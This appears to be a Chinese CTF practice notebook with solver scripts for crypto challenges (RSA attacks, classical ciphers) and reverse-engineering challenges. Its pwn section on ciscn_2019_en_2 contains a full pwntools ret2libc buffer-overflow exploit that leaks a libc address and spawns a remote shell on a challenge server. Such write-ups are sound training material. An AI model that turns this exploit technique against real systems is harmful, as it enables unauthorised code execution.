c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852

m1 = gmpy2.powmod(c,dp,p)
m2 = gmpy2.powmod(c,dq,q)
m = (((m2-m1)*gmpy2.invert(p,q)%q)*p+m1)%(p*q)

print(long_to_bytes(m))

[Crypto]凯撒?替换?呵呵!

看wp说是凯撒移位密码,可能是每个字母移动的位置不同,所以需要统计词频来解,直接使用在线工具

http://quipqiup.com/

[rev][SWPU2019]easyRE

  1. 找到主函数,发现一个复杂结构体
  2. 有正则表达式匹配 ^swpuctf\\{\\w{4}\\-\\w{4}\\-\\w{4}\\-\\w{4}\\-\\w{4}\\}
  3. 调试发现+52处是比对数据,长度40;+12处是输入变换后的数据,长度40
  4. 0处是个结构体
  5. 本以为是啥加密算法,原来看不懂,wp也说看不懂,但是根据正则表达式可以穷举,范围不太大
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
// #include <setimp.h>

void printArray(const char *name,uint8_t *v,size_t len){
printf("========%s=========\n",name);
for(size_t i=0;i<len;i++){
printf("%02X,",v[i]);
}
printf("\n=================\n");
}

void encrypt1(uint8_t input[4],uint8_t res[24]){
uint8_t v4,v5,v6,v7,v8=0,v9,v10,v11,v16,v17,v18,v19;
memcpy(res,input,4);
for(size_t i=0;i<4;i++){
v4=res[i];
v5=res[i];
v7=0;
v8=0x80;
while(!(res[i]&v8)&&v7<8){
v8>>=1;
v7++;
}
res[i+8]=v7+1;
v8=1;
v7=1;
while(!(res[i]&v8)&&v7<8){
v8<<=1;
v7++;
}
res[i+12]=v7-1;
}
for(size_t i=0;i<4;i++){
res[i+4] = res[i+12] + res[i+8];
res[i+16] = res[i] << res[i+8];
res[i+16] = res[i+16] >> res[i+4];
v18 = 8 - res[i+8];
v16 = res[i] >> v18;
v17 = 8 - res[i+12];
v19 = res[i] << v17;
v19 >>= res[i+4];
res[i+20] = v19 | (v16 << res[i+8]);
}
}
uint32_t v14 = 32;
void encrypt2(uint8_t input[24],uint8_t res[40]){
uint8_t test[4];
uint8_t *v15 = res;
for(size_t i=0;i<8;i++){
if(i>=4){
v14-=input[i];
*(uint32_t *)v15|=input[i+16]<<v14;
}else{
v14-=(8-input[i+4]);
*(uint32_t *)v15|=input[i+16]<<v14;
v15[i+20]=input[i+12]|input[i+8]<<4;
}
}

}
void brute(uint8_t input[4],uint8_t target[8]){
char tab[] = "abcdefghijklmnopqrstuvwxyz0123456789_/";
size_t scope = strlen(tab);
uint8_t r[24],rr[40];
for(size_t i1=0;i1<scope;i1++){
for(size_t i2=0;i2<scope;i2++){
for(size_t i3=0;i3<scope;i3++){
for(size_t i4=0;i4<scope;i4++){
v14=32;
input[0]=tab[i1];
input[1]=tab[i2];
input[2]=tab[i3];
input[3]=tab[i4];
memset(r,0,24);
memset(rr,0,40);
encrypt1(input,r);
encrypt2(r,rr);
if(rr[0]==target[0]&&rr[1]==target[1]&&rr[2]==target[2]&&rr[3]==target[3]&&rr[20]==target[4]&&rr[21]==target[5]&&target[6]==rr[22]&&target[7]==rr[23]){
printf("%s\n",input);
return;
}
}
}
}
}
}
int main(){
uint8_t target[] = { 8,0xEA,0x58,0xDE,0x94,0xD0,0x3B,-66,-120,-44,50,-74,20,-126,-73,-81,20,84,127,-49,32,32,48,51,34,51,32,32,32,48,32,50,48,51,34,32,32,32,36,32};
uint8_t tt[8];
char flag[256]={0};
strcpy(flag,"swpuctf{");
size_t cnt=strlen(flag),cnt2=0;
while(cnt<32){
memcpy(tt,&target[cnt2],4);
memcpy(&tt[4],&target[cnt2+20],4);
brute(&flag[cnt],tt);
cnt+=4;
flag[cnt++]='-';
cnt2+=4;
}
flag[32]='}';
printf("%s\n",flag);
return 0;
}

[Crypto]old-fashion

quipquip.com一把梭

[Crypto]萌萌哒的八戒

猪圈密码,使用不同的符号代替之前的符号

http://www.metools.info/code/c90.html

[Crypto][BJDCTF 2nd]灵能精通-y1ng

圣堂武士密码https://www.tuicool.com/articles/2E3INnm

IMKNIGHTSTEMPLAR

[crypto]RSA3

原来这就是共模攻击,学到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# coding=utf-8

import base64
import os
import gmpy2
import hashlib
from Crypto.Util.number import long_to_bytes
# from z3 import *

c1=22322035275663237041646893770451933509324701913484303338076210603542612758956262869640822486470121149424485571361007421293675516338822195280313794991136048140918842471219840263536338886250492682739436410013436651161720725855484866690084788721349555662019879081501113222996123305533009325964377798892703161521852805956811219563883312896330156298621674684353919547558127920925706842808914762199011054955816534977675267395009575347820387073483928425066536361482774892370969520740304287456555508933372782327506569010772537497541764311429052216291198932092617792645253901478910801592878203564861118912045464959832566051361
n=22708078815885011462462049064339185898712439277226831073457888403129378547350292420267016551819052430779004755846649044001024141485283286483130702616057274698473611149508798869706347501931583117632710700787228016480127677393649929530416598686027354216422565934459015161927613607902831542857977859612596282353679327773303727004407262197231586324599181983572622404590354084541788062262164510140605868122410388090174420147752408554129789760902300898046273909007852818474030770699647647363015102118956737673941354217692696044969695308506436573142565573487583507037356944848039864382339216266670673567488871508925311154801
e1=11187289
c2=18702010045187015556548691642394982835669262147230212731309938675226458555210425972429418449273410535387985931036711854265623905066805665751803269106880746769003478900791099590239513925449748814075904017471585572848473556490565450062664706449128415834787961947266259789785962922238701134079720414228414066193071495304612341052987455615930023536823801499269773357186087452747500840640419365011554421183037505653461286732740983702740822671148045619497667184586123657285604061875653909567822328914065337797733444640351518775487649819978262363617265797982843179630888729407238496650987720428708217115257989007867331698397
e2=9647291

g,x,y = gmpy2.gcdext(e1,e2)
print(long_to_bytes((gmpy2.powmod(c1,x,n)*gmpy2.powmod(c2,y,n))%n))

[crypto]RSA2

$dp=d\mod (p-1)$

$ed=1\mod (p-1)(q-1)$

$k_1(p-1)+dp=d$

$k_2*(p-1)(q-1)+ed=1$

$\therefore k_2(p-1)+ek_1(p-1)+edp=1$

两边同时对p-1取模$edp\mod (p-1)=1$

$edp=k(p-1)+1$

$k=\frac{edp-1}{p-1}\lt e(\frac{dp-1}{p-1}-\frac{1}{p-1})$

由于$dp$位于[0,p-2],所以$k\lt e$,可以穷举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding=utf-8

import base64
import os
import gmpy2
import hashlib
from Crypto.Util.number import long_to_bytes
# from z3 import *

e = 65537
n = 248254007851526241177721526698901802985832766176221609612258877371620580060433101538328030305219918697643619814200930679612109885533801335348445023751670478437073055544724280684733298051599167660303645183146161497485358633681492129668802402065797789905550489547645118787266601929429724133167768465309665906113
dp = 905074498052346904643025132879518330691925174573054004621877253318682675055421970943552016695528560364834446303196939207056642927148093290374440210503657

c = 140423670976252696807533673586209400575664282100684119784203527124521188996403826597436883766041879067494280957410201958935737360380801845453829293997433414188838725751796261702622028587211560353362847191060306578510511380965162133472698713063592621028959167072781482562673683090590521214218071160287665180751
k = None
for i in range(e,0,-1):
k = i
if (e*dp-1)%k==0:
p = (e*dp-1)//k+1
if n%p==0:
break
p = (e*dp-1)//k+1
q = n//p
d = gmpy2.invert(e,(p-1)*(q-1))
print(long_to_bytes(gmpy2.powmod(c,d,n)))

[pwn]ciscn_2019_en_2

encrypt函数中有个可以利用的点,s是可以溢出的

payload构造过程

0x60207a

  1. pop rdi,ret;命令用于参数
  2. 使用gets读入/bin/sh字符串
  3. 使用puts输出puts的got表信息
  4. 计算出system的地址,直接call
  5. 调用顺序 pop_rdi->gets->puts->encrypt->system
  6. 需要注意还有个变换

payload 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

context.log_level='debug'

context.terminal=['gnome-terminal','-x','sh','-c']

elf = ELF('./ciscn_2019_en_2')

libc = ELF('./libc-2.27.so')

# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# p = process('./ciscn_2019_en_2')

# p = gdb.debug('./ciscn_2019_en_2')

p = remote('node3.buuoj.cn',26231)

def crypt(a):

r = [i for i in a]

for i in range(len(r)):

if r[i]>=97 and r[i]<97+26:

r[i]^=0xe

elif r[i]>=65 and r[i]<65+26:

r[i]^=0xd

elif r[i]>=48 and r[i]<58:

r[i]^=0xc

return bytes(r)



pop_rdi = 0x400c83

puts = elf.symbols['puts']

puts_got = elf.got['puts']

binsh = 0x6020a8

gets = elf.symbols['gets']

encrypt = elf.symbols['encrypt']

pad = 'a'*0x58

p.sendline('1')

print('puts_got: %x,puts_symbols: %x'%(puts_got,puts))

payload = pad+p64(pop_rdi)+p64(binsh)+p64(gets)+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(encrypt)

p.recvuntil('encrypted')

p.sendline(payload)

p.sendline('/bin/sh')

r = p.recvuntil('Input')

puts_addr = u64(r[-12:-6]+'\x00'*2)

# 0x7f23ce026590

print('puts_addr:0x%x'%puts_addr)

libc_base = puts_addr-libc.symbols['puts']

print("libc_base:0x%x\n"%libc_base)

system = libc_base+libc.symbols['system']

print('system_addr:0x%x'%system)

p.recv()



payload = pad+p64(pop_rdi)+p64(binsh)+p64(system)+p64(0)

p.sendline(payload)

p.interactive()

555终于打通了,另外那个/bin/sh字符串可以似乎用libc的

[rev][INSHack2017]secure-garden-shed-v1

  1. 判断文件头
  2. 寻找code段和data段,并进行了解密
  3. 进行跳转,1a20->1c20->1bfc->1b38->1b24->1ce0->1b9c->1a98->1a24->1a98->1e5c->1d24->1ce0->1e5c->1d24->1ce0->1b38->1b00
  4. 1b9c中有输入,1b38中有输出,合理推测1bfc中是解密输出字符串
  5. 1b38中有错误提示
  6. 输入的数据在0x5655b1a0

data段解密流程

1
2
3
4
5
if ( dataSegLen )
{
for ( j = 0; j != dataSegLen; ++j )
*(_BYTE *)(fileMapPtr_1 + dataSegOff + j + 5) ^= *(_BYTE *)(fileMapPtr_1 + j % v12 + 5);
}

既然每次读入一个字符,那就是按位验证,又看到错误情况下指令数和基本块数相等,pin爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdlib.h>
#include <gmp.h>
#include <sys/mman.h>
#include <memory.h>
#include <inttypes.h>
#include <string.h>

// flag{39b0ff847f1f4404aa6c7742d20363e9}
char flag[256] = "thisisastrongpassphrasebecauseitisreallylong";
uint64_t getBblCount(char *input){
uint64_t res=0;
size_t i=0;
while(input[i]<48||input[i]>58)i++;
while(input[i]){
res=res*10+input[i]-48;
i++;
}
return res;
}
void check(){
FILE *f;
char set[] = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}/";
size_t scope = strlen(set);
size_t len = strlen(flag);
char cmd[1024] = ".echo %s | ./pp";
sprintf(cmd,"echo %s ",flag);
char buf[1024];
uint64_t bblCount,insCount,last;
// memset(flag,0,256);
size_t start = strlen(flag);
for(size_t i1=start;i1<128;i1++){
last=0;
for(size_t i2=0;i2<scope;i2++){
flag[i1]=set[i2];
sprintf(cmd,"echo \"%s\" | ./pin -t MyPinTool32.so -- ./sgs-exec-release ./lock.sgsc",flag);
printf("i1: %d/%d, i2: %d/%d,%s,%s\n",i1,scope,i2,scope,flag,cmd);
f = popen(cmd,"r");
fgets(buf,256,f);
fgets(buf,256,f);
printf("%s\n",buf);
if(buf[0]!='S'){
printf("%s\n",flag);
exit(0);
}
fgets(buf,256,f);
printf("%s\n",buf);
bblCount = getBblCount(buf);
fgets(buf,256,f);
pclose(f);
// insCount = getIns
if(last&&bblCount>last){
break;
}else if(last>bblCount){
flag[i1]=set[i2-1];
break;
}else{
last=bblCount;
}
}
printf("%s\n",flag);
}

}

int main(){
check();
return 0;
}

注意编译MyPinTool.so的时候命令是32位的

1
2
make TARGET=intel64 # x64
make TARGET=ia32 # x32

直接爆破出flag,输入是

1
thisisastrongpassphrasebecauseitisreallylongandrandomattheenduoiiencger

好家伙真够长的

阿哲,大佬直接搜索字符串了555

尝试解密文件,原来是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# coding=utf-8

import base64
import os
import gmpy2
import hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long
from Crypto.PublicKey import RSA
# from z3 import *

def printA(a):
for i in a:
print(hex(i),end=",")
print()
data = []
with open('lock.sgsc','rb') as f:
data = f.read()
dataSeg = 0
codeSeg = 0
for i in range(len(data)):
if data[i]==ord('c') and data[i+1]==ord('o') and data[i+2]==ord('d'):
codeSeg=i-1
for i in range(len(data)):
if data[i]==ord('d') and data[i+1]==ord('a') and data[i+2]==ord('t'):
dataSeg=i-1
dataS = []
printA(data[dataSeg:])
printA(data)
for i in range(len(data[dataSeg+5:])):
dataS.append(data[dataSeg+5+i]^data[i%codeSeg+5])
print(bytes(dataS))

[rev][SCTF2019]music

注意eclipse中编码要选择utf-8,否则解不出来

变形rc4,key在数据库中,要比对的数据位于strings.xml,可以使用穷举法,也可以找出异或使用的流密钥然后再异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
class p {
public static String a(byte[] paramArrayOfbyte) {
StringBuffer stringBuffer = new StringBuffer();
for (int i = 0; i < paramArrayOfbyte.length; i++) {
String str2 = Integer.toHexString(paramArrayOfbyte[i] & 0xFF);
String str1 = str2;
if (str2.length() == 1) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append('0');
stringBuilder.append(str2);
str1 = stringBuilder.toString();
}
stringBuffer.append(str1.toUpperCase());
}
return stringBuffer.toString();
}
}
class c {
private static int m = 256;

public String a(String paramString1, String paramString2) {
int i = m;
int[] arrayOfInt = new int[i];
byte[] arrayOfByte = new byte[i];
for (i = 0; i < m; i++) {
arrayOfInt[i] = i;
arrayOfByte[i] = (byte)paramString2.charAt(i % paramString2.length());
}
i = 0;
int j = 0;
while (true) {
int k = m;
if (i < k - 1) {
j = (arrayOfInt[i] + j + arrayOfByte[i]) % k;
k = arrayOfInt[i];
arrayOfInt[i] = arrayOfInt[j];
arrayOfInt[j] = k;
i++;
continue;
}
char[] arrayOfChar2 = paramString1.toCharArray();
char[] arrayOfChar1 = new char[paramString1.length()];
k = 0;
j = 0;
for (i = 0; i < arrayOfChar2.length; i++) {
int m = 256;
k = (k + 1) % m;
j = (arrayOfInt[k] + j) % m;
int n = arrayOfInt[k];
arrayOfInt[k] = arrayOfInt[j];
arrayOfInt[j] = n;
n = arrayOfInt[k];
int i1 = arrayOfInt[k];
arrayOfChar1[i] = (char)(arrayOfChar2[i] - k ^ (char)arrayOfInt[(n + i1 % m) % m]);
}
new p();
return p.a((new String(arrayOfChar1)).getBytes());
}
}
}



public class Main {
public static void main(String []args) {
char cipher[] = new char[] {
0xC2,0x8B,0xC3,0x9D,0xC3,0xA6,0xC2,0x83,0xC2,0xB3,0xC3,0x9D,0xC2,0x93,0xC2,0x89,0xC2,0xB8,0xC3,0xBA,0xC2,0x9E,0xC3,0xA0,0xC3,0xA7,0xC2,0x9A,0x16,0x54,0xC3,0xAF,0x28,0xC3,0xA1,0xC2,0xB1,0x21,0x5B,0x53
};
String key = "E7E64BF658BAB14A25C9D67A054CEBE5";
String tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_+{}/";
// String c = new String(cipher);
String c = "C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53";
String now = "";
String flag = "";
String res="";
for(int i=0;!res.equals(c);i++) {
for(int j=0;j<tab.length();j++) {
now=flag+tab.charAt(j);
res = new c().a(now,key);
// System.out.println(res);
if(c.indexOf(res)==0) {
flag=now;
break;

}
}
}
System.out.println(new String(flag));
}

}

[crypto]RSA

https://www.cnblogs.com/huxianglin/p/6387045.html

https://www.jianshu.com/p/c93a993f8997

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# coding=utf-8

import base64
import os
import gmpy2
import hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long
from Crypto.PublicKey import RSA
# from z3 import *
pubKey = ''
with open('pub.key','r') as f:
pubKey = f.read()
key = RSA.importKey(pubKey)
print(key.n,key.e)
# 放在factordb.com解密
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463
e = key.e
n = key.n
d =gmpy2.invert(e,(p-1)*(q-1))
c = None
with open('flag.enc','rb') as f:
c = f.read()
c = bytes_to_long(c)
m = gmpy2.powmod(c,d,n)
print(long_to_bytes(m))

[crypto]异性相吸

两个文件长度相同,猜测是异或

1
2
3
4
5
6
7
8
9
10
11
key = None
c = None
with open('key.txt','rb') as f:
key = f.read()
with open('密文.txt','rb') as f:
c = f.read()
print(len(key),len(c))
a = [0]*len(c)
for i in range(len(c)):
a[i]=key[i]^c[i]
print(bytes(a))

[crypto]汉字的秘密

当铺编码,根据字的出头数编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# coding=utf-8

import base64
import os
import gmpy2
import hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long
from Crypto.PublicKey import RSA
# from z3 import *

a = '口由中人工土王夫井壮'
dic = {}
dic['士']=5
for i in range(len(a)):
dic[a[i]]=i
s = '王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由 土夫 井中 士夫 王工 王人 土由 由口夫'

sa = s.split(' ',-1)
r = []
cnt=0
for i in sa:
n = 0

for j in i:
n = n*10+dic[j]
r.append(n+cnt+1)
cnt+=1
print(r)
print(bytes(r))
print(str(bytes(r),encoding='utf-8').lower())

[crypto]unencode

uuencode编码

类似base64 http://web.chacuo.net/charsetuuencode

[crypto]Dangerous RSA

低加密指数攻击实战

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# coding=utf-8

import base64
import os
import gmpy2
import hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long
from Crypto.PublicKey import RSA
# from z3 import *

n=0x52d483c27cd806550fbe0e37a61af2e7cf5e0efb723dfc81174c918a27627779b21fa3c851e9e94188eaee3d5cd6f752406a43fbecb53e80836ff1e185d3ccd7782ea846c2e91a7b0808986666e0bdadbfb7bdd65670a589a4d2478e9adcafe97c6ee23614bcb2ecc23580f4d2e3cc1ecfec25c50da4bc754dde6c8bfd8d1fc16956c74d8e9196046a01dc9f3024e11461c294f29d7421140732fedacac97b8fe50999117d27943c953f18c4ff4f8c258d839764078d4b6ef6e8591e0ff5563b31a39e6374d0d41c8c46921c25e5904a817ef8e39e5c9b71225a83269693e0b7e3218fc5e5a1e8412ba16e588b3d6ac536dce39fcdfce81eec79979ea6872793
e=0x3
c=0x10652cdfaa6b63f6d7bd1109da08181e500e5643f5b240a9024bfa84d5f2cac9310562978347bb232d63e7289283871efab83d84ff5a7b64a94a79d34cfbd4ef121723ba1f663e514f83f6f01492b4e13e1bb4296d96ea5a353d3bf2edd2f449c03c4a3e995237985a596908adc741f32365

for i in range(128):
m,ok = gmpy2.iroot(c+n*i,e)
if ok:
print(long_to_bytes(m))

[crypto]Cipher

“公平的玩”给出信息是playfair密码(wtf??),学到了

http://rumkin.com/tools/cipher/playfair.php

密钥是playfair

https://blog.csdn.net/qq_45784859/article/details/105766145

[crypto]达芬奇密码

https://blog.csdn.net/yao_xin_de_yuan/article/details/108348186

唉,还是得多见。

斐波那契数列的第i项对应着i,第一个数列的意思就是把第二个数列对应位置的数映射到对应位置上面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import gmpy2
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex

a = '1 233 3 2584 1346269 144 5 196418 21 1597 610 377 10946 89 514229 987 8 55 6765 2178309 121393 317811 46368 4181 1 832040 2 28657 75025 34 13 17711'
r = '36968853882116725547342176952286'
fib = [1,2]
cnt = 1
for i in range(32):
fib.append(fib[i]+fib[i+1])
dic = {}
for i in range(len(fib)):
dic[str(fib[i])]=i
s = [0]*32
aa = a.split(' ')
for i in range(len(aa)):
s[dic[aa[i]]]=ord(r[i])
print(bytes(s))

有两个1,所以第一位置可能是7也可能是3,试试就得了

[rev][De1CTF2019]cplusplus

https://blog.csdn.net/qq_41252520/article/details/102021262?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-2&spm=1001.2101.3001.4242

  1. 数字1@数字2#数字3
  2. 然后转化为三个word数字ns,进入0x29b0
  3. ns[0]<0x6f
  4. 有个算法总是逆不出来,只能看wp这样子 原来是梅森旋转法,可以搜常数的
  5. 数字2可以通过De1ta反推20637
  6. 数字1可以通过patch程序,使其为我们穷举输入的数字,得到0x4e 78
  7. 数字3需要调试,发现数字3=3*0x22+12
1
2
3
4
5
6
s = 'eQDtW91a0qwryuLZvbXCEK8VghjklzxIOPASBNM2RsdfF56TYU34p7ioGHJcnm'
dic = {}
for i in range(len(s)):
dic[s[i]]=i
for i in 'De1ta':
print(dic[i],end="")

[crypto]RSA5

本以为给那么多n,c对是中国剩余定理,原来是求最大公约数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# coding=utf-8

import base64
import os
import gmpy2
import hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long
from Crypto.PublicKey import RSA
from z3 import *

e = 65537
n = []
c=[]
n.append(20474918894051778533305262345601880928088284471121823754049725354072477155873778848055073843345820697886641086842612486541250183965966001591342031562953561793332341641334302847996108417466360688139866505179689516589305636902137210185624650854906780037204412206309949199080005576922775773722438863762117750429327585792093447423980002401200613302943834212820909269713876683465817369158585822294675056978970612202885426436071950214538262921077409076160417436699836138801162621314845608796870206834704116707763169847387223307828908570944984416973019427529790029089766264949078038669523465243837675263858062854739083634207)
c.append( 974463908243330865728978769213595400782053398596897741316275722596415018912929508637393850919224969271766388710025195039896961956062895570062146947736340342927974992616678893372744261954172873490878805483241196345881721164078651156067119957816422768524442025688079462656755605982104174001635345874022133045402344010045961111720151990412034477755851802769069309069018738541854130183692204758761427121279982002993939745343695671900015296790637464880337375511536424796890996526681200633086841036320395847725935744757993013352804650575068136129295591306569213300156333650910795946800820067494143364885842896291126137320)

n.append( 20918819960648891349438263046954902210959146407860980742165930253781318759285692492511475263234242002509419079545644051755251311392635763412553499744506421566074721268822337321637265942226790343839856182100575539845358877493718334237585821263388181126545189723429262149630651289446553402190531135520836104217160268349688525168375213462570213612845898989694324269410202496871688649978370284661017399056903931840656757330859626183773396574056413017367606446540199973155630466239453637232936904063706551160650295031273385619470740593510267285957905801566362502262757750629162937373721291789527659531499435235261620309759)
c.append( 15819636201971185538694880505120469332582151856714070824521803121848292387556864177196229718923770810072104155432038682511434979353089791861087415144087855679134383396897817458726543883093567600325204596156649305930352575274039425470836355002691145864435755333821133969266951545158052745938252574301327696822347115053614052423028835532509220641378760800693351542633860702225772638930501021571415907348128269681224178300248272689705308911282208685459668200507057183420662959113956077584781737983254788703048275698921427029884282557468334399677849962342196140864403989162117738206246183665814938783122909930082802031855)

n.append( 25033254625906757272369609119214202033162128625171246436639570615263949157363273213121556825878737923265290579551873824374870957467163989542063489416636713654642486717219231225074115269684119428086352535471683359486248203644461465935500517901513233739152882943010177276545128308412934555830087776128355125932914846459470221102007666912211992310538890654396487111705385730502843589727289829692152177134753098649781412247065660637826282055169991824099110916576856188876975621376606634258927784025787142263367152947108720757222446686415627479703666031871635656314282727051189190889008763055811680040315277078928068816491)
c.append( 4185308529416874005831230781014092407198451385955677399668501833902623478395669279404883990725184332709152443372583701076198786635291739356770857286702107156730020004358955622511061410661058982622055199736820808203841446796305284394651714430918690389486920560834672316158146453183789412140939029029324756035358081754426645160033262924330248675216108270980157049705488620263485129480952814764002865280019185127662449318324279383277766416258142275143923532168798413011028271543085249029048997452212503111742302302065401051458066585395360468447460658672952851643547193822775218387853623453638025492389122204507555908862)

n.append( 21206968097314131007183427944486801953583151151443627943113736996776787181111063957960698092696800555044199156765677935373149598221184792286812213294617749834607696302116136745662816658117055427803315230042700695125718401646810484873064775005221089174056824724922160855810527236751389605017579545235876864998419873065217294820244730785120525126565815560229001887622837549118168081685183371092395128598125004730268910276024806808565802081366898904032509920453785997056150497645234925528883879419642189109649009132381586673390027614766605038951015853086721168018787523459264932165046816881682774229243688581614306480751)
c.append( 4521038011044758441891128468467233088493885750850588985708519911154778090597136126150289041893454126674468141393472662337350361712212694867311622970440707727941113263832357173141775855227973742571088974593476302084111770625764222838366277559560887042948859892138551472680654517814916609279748365580610712259856677740518477086531592233107175470068291903607505799432931989663707477017904611426213770238397005743730386080031955694158466558475599751940245039167629126576784024482348452868313417471542956778285567779435940267140679906686531862467627238401003459101637191297209422470388121802536569761414457618258343550613)

n.append( 22822039733049388110936778173014765663663303811791283234361230649775805923902173438553927805407463106104699773994158375704033093471761387799852168337898526980521753614307899669015931387819927421875316304591521901592823814417756447695701045846773508629371397013053684553042185725059996791532391626429712416994990889693732805181947970071429309599614973772736556299404246424791660679253884940021728846906344198854779191951739719342908761330661910477119933428550774242910420952496929605686154799487839923424336353747442153571678064520763149793294360787821751703543288696726923909670396821551053048035619499706391118145067)
c.append( 15406498580761780108625891878008526815145372096234083936681442225155097299264808624358826686906535594853622687379268969468433072388149786607395396424104318820879443743112358706546753935215756078345959375299650718555759698887852318017597503074317356745122514481807843745626429797861463012940172797612589031686718185390345389295851075279278516147076602270178540690147808314172798987497259330037810328523464851895621851859027823681655934104713689539848047163088666896473665500158179046196538210778897730209572708430067658411755959866033531700460551556380993982706171848970460224304996455600503982223448904878212849412357)

n.append( 21574139855341432908474064784318462018475296809327285532337706940126942575349507668289214078026102682252713757703081553093108823214063791518482289846780197329821139507974763780260290309600884920811959842925540583967085670848765317877441480914852329276375776405689784571404635852204097622600656222714808541872252335877037561388406257181715278766652824786376262249274960467193961956690974853679795249158751078422296580367506219719738762159965958877806187461070689071290948181949561254144310776943334859775121650186245846031720507944987838489723127897223416802436021278671237227993686791944711422345000479751187704426369)
c.append( 20366856150710305124583065375297661819795242238376485264951185336996083744604593418983336285185491197426018595031444652123288461491879021096028203694136683203441692987069563513026001861435722117985559909692670907347563594578265880806540396777223906955491026286843168637367593400342814725694366078337030937104035993569672959361347287894143027186846856772983058328919716702982222142848848117768499996617588305301483085428547267337070998767412540225911508196842253134355901263861121500650240296746702967594224401650220168780537141654489215019142122284308116284129004257364769474080721001708734051264841350424152506027932)

n.append( 25360227412666612490102161131174584819240931803196448481224305250583841439581008528535930814167338381983764991296575637231916547647970573758269411168219302370541684789125112505021148506809643081950237623703181025696585998044695691322012183660424636496897073045557400768745943787342548267386564625462143150176113656264450210023925571945961405709276631990731602198104287528528055650050486159837612279600415259486306154947514005408907590083747758953115486124865486720633820559135063440942528031402951958557630833503775112010715604278114325528993771081233535247118481765852273252404963430792898948219539473312462979849137)
c.append( 19892772524651452341027595619482734356243435671592398172680379981502759695784087900669089919987705675899945658648623800090272599154590123082189645021800958076861518397325439521139995652026377132368232502108620033400051346127757698623886142621793423225749240286511666556091787851683978017506983310073524398287279737680091787333547538239920607761080988243639547570818363788673249582783015475682109984715293163137324439862838574460108793714172603672477766831356411304446881998674779501188163600664488032943639694828698984739492200699684462748922883550002652913518229322945040819064133350314536378694523704793396169065179)

n.append( 22726855244632356029159691753451822163331519237547639938779517751496498713174588935566576167329576494790219360727877166074136496129927296296996970048082870488804456564986667129388136556137013346228118981936899510687589585286517151323048293150257036847475424044378109168179412287889340596394755257704938006162677656581509375471102546261355748251869048003600520034656264521931808651038524134185732929570384705918563982065684145766427962502261522481994191989820110575981906998431553107525542001187655703534683231777988419268338249547641335718393312295800044734534761692799403469497954062897856299031257454735945867491191)
c.append( 6040119795175856407541082360023532204614723858688636724822712717572759793960246341800308149739809871234313049629732934797569781053000686185666374833978403290525072598774001731350244744590772795701065129561898116576499984185920661271123665356132719193665474235596884239108030605882777868856122378222681140570519180321286976947154042272622411303981011302586225630859892731724640574658125478287115198406253847367979883768000812605395482952698689604477719478947595442185921480652637868335673233200662100621025061500895729605305665864693122952557361871523165300206070325660353095592778037767395360329231331322823610060006)

